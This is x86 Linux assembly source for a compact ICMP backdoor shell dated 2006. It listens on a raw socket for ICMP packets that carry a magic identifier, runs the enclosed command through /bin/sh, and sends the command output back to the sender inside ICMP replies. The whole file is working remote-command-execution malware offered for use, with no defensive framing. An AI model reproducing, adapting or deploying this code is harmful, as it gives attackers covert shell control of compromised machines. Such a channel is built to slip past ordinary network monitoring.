;
; Copyright (c) 2007 by <mu-b@digit-labs.org>
;
; 235-byte raw-socket ICMP/checksum shell - (x86-lnx)
; by mu-b - Nov 2006
;
; icmp with identifier __flag_byte and commands in the
; following format:-
;       "/bin/sh\x00-c\x00<command here>\x00"
;
; unlike *other* icmp shells, this will reply with
; 255-(sizeof icmp_hdr) bytes of output..
;

%define zero_reg        esi
%define zero_reg_w      si
%define sock_reg        edi
%define __flag_byte     6996h

global _shell

_shell:
 xor   zero_reg, zero_reg
 mov   ebp, esp

 ; sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
_socket:
 lea   ebx, [zero_reg+3]
 push  byte 1
 push  ebx
 dec   ebx
 push  ebx
 dec   ebx
 mov   ecx, esp
 lea   eax, [zero_reg+66h]
 int   80h                 ; socket();
 mov   sock_reg, eax

 ; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &1, 1);
_setsockopt:
 push  ebx
 push  esp
 push  byte 3h
 push  zero_reg
 push  sock_reg
 mov   ecx, esp
 mov   bl, byte 0eh
 mov   al, byte 66h
 int   80h                 ; setsocketopt();

 ; while(1)
_while_loop:
 ; read(sockfd, cmd, 255);
 cdq
 dec   byte dl
 mov   ecx, ebp
 mov   ebx, sock_reg
 lea   eax, [zero_reg+3]
 int   80h                 ; read();

 lea   ebx, [ebp+24]
 xor   [ebx], word __flag_byte
 jne   short _while_loop

 ; pipe(pp)
 lea   ebx, [ebp-8]
 mov   al, byte 2ah
 int   80h                 ; pipe();

 ; fork()
 mov   al, byte 2h
 int   80h                 ; fork();
 test  eax, eax
 jnz   short _parent

_child:
 ; close(pp[0])
 mov   ebx, [ebp-8]
 mov   al, byte 6h
 int   80h                 ; close();

 ; dup2(pp[1], 0); dup2(pp[1], 1); dup2(pp[1], 2);
 lea   ecx, [zero_reg+3]
 ; pp[1] == pp[0]+1
 inc   ebx

.1:
 dec   ecx
 mov   al, byte 3fh
 int   80h                 ; dup2();
 jnz   .1

 ; execve(cmd + 28, {cmd + 28, cmd + 36, cmd + 39, 0}, 0);
 push  zero_reg
 lea   ebx, [ebp+39]
 push  ebx
 sub   ebx, byte 3
 push  ebx
 sub   ebx, byte 8
 push  ebx
 mov   ecx, esp
 cdq
 mov   al, byte 0bh
 int   80h                 ; execve();

_parent:
 ; close(pp[1])
 mov   ebx, [ebp-4]
 lea   eax, [zero_reg+6]
 int   80h                 ; close();

_parent_read:
.1:
 ; read(pp[0], cmd, bytes_left);
 ; edx == 255
 lea   ecx, [ebp+28]
 mov   ebx, [ebp-8]
 mov   al, byte 3h
 int   80h                 ; read();
 test  eax, eax
 jl    _while_loop

 mov   al, byte 6h
 int   80h                 ; close();

.2:
 ; fix up ttl (optional?! make sure its high!)
 ; mov   [ebp+8], byte 0ffh

 ; switch ip's
 mov   ecx, [ebp+12]
 xchg  [ebp+16], ecx
 mov   [ebp+12], ecx

 ; set icmp type to echo reply (optional?!)
 ;mov   [ebp+20], word zero_reg_w
 ; zero checksum
 ;mov   [ebp+22], word zero_reg_w
 ; set icmp type to echo and zero checksum
 mov   [ebp+20], zero_reg

 lea   ecx, [zero_reg+117]
 lea   esi, [ebp+20]
 cdq

.3:
 lodsw
 add   edx, eax
 loop  .3

 lodsb
 xor   ah, ah
 add   eax, edx
 mov   esi, eax

 shr   eax, byte 16
 movzx esi, si
 add   eax, esi
 mov   edx, eax
 shr   edx, byte 16
 add   eax, edx
 not   ax

 ; set checksum
 mov   [ebp+22], word ax

 cdq
 xor   eax, eax
 xor   zero_reg, zero_reg

 ; struct sockaddr *
 push  zero_reg
 push  zero_reg
 push  dword [ebp+16]
 push  byte 2

 ; sendto(sockfd, cmd, 255, 0, ...);
 mov   ecx, esp
 push  byte 16
 push  ecx
 push  zero_reg
 mov   dl, byte 0ffh
 push  edx
 push  ebp
 push  sock_reg
 mov   ecx, esp
 mov   bl, 0bh
 mov   al, 66h
 int   80h                 ; sendto();

 cdq
 mov   ecx, ebp
 mov   ebx, zero_reg
 mov   al, 72h
 int   80h                 ; wait();

 jmp   _while_loop